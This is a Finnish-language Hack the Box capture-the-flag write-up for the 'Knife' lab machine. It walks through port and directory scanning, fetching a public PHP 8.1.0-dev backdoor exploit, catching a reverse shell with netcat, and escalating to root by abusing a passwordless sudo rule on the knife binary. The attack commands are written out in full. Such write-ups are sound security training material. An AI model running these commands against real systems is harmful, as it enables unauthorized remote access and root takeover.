Hack the Box: Knife

Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite vastaamaan osoitetta knife.htb

Tiedustelu

Nmap

Nmap-skannauksesta huomataan, että kohteessa on avoinna portit 22 (SSH) ja 80 (HTTP), jossa on käynnissä Apache HTTP-palvelin. Kohteessa on Linux-käyttöjärjestelmä.

nmap -sVC -T4 -p- knife.htb

HTTP

Selaimella aukaistu kohteen osoite: knife.htb. Sivulla ei ole klikattavia linkkejä tai lomakekenttiä.

Gobuster

Gobusterilla tehty hakemistoskannaus osoitteeseen knife.htb. Löytyi vain yksi saatavilla oleva hakemisto: /index.php (etusivu).

gobuster dir -u http://knife.htb/ -w /usr/share/wordlists/dirb/common.txt

Tehty cURL-pyyntö osoitteseen http://knife.htb/index.php. Vastauksen headerista huomataan, että kohde käyttää PHP/8.1.0-dev versiota.

curl -I http://knife.htb/index.php

Haavoittuvuuden hyväksikäyttö

Githubista löydetty PHP/8.1.0-dev backdoor exploit: https://github.com/OliverKeefe/php-8.1.0-dev-backdoor-rce/blob/main/exploit.py

Ladattu Python-skripti hyökkäyskoneelle komennolla:

wget -L https://raw.githubusercontent.com/OliverKeefe/php-8.1.0-dev-backdoor-rce/main/exploit.py

Käynnistetty Netcat-kuuntelija porttiin 4444.

nc -lvnp 4444

Exploit suoritettu komennolla:

python exploit.py --URL http://knife.htb/index.php --RPORT 80 --LHOST 10.10.14.2 --LPORT 4444

Netcat-kuuntelijassa onnistuneesti saatu reverse shell kohteeseen käyttäjänä james.

Otettu Pythonilla Bash shell käyttöön:

python3 -c 'import pty;pty.spawn("/bin/bash")'

User flag löytyi hakemistosta: /home/james.

Oikeuksien kohottaminen

Komennolla sudo -l tarkistettu mitä komentoja käyttäjä james pystyy suorittamaan sudona. Huomataan, että james pystyy suorittamaan sudona ilman salasanaa komennon knife.

Knife manpage: https://manpages.ubuntu.com/manpages/bionic/man1/knife.1.html

Knife mahdollistaa komennon lisäoptiolla exec suorittaa Ruby-skriptejä.

Gtfobins:sta löydetty komento, jolla saa sudo-oikeudet, jos binääri knife on mahdollista suorittaa sudona.

Onnistuneesti saatu root-shell komennolla:

sudo knife exec --exec "exec '/bin/sh -i'"

Root flag löytyi hakemistosta: /root.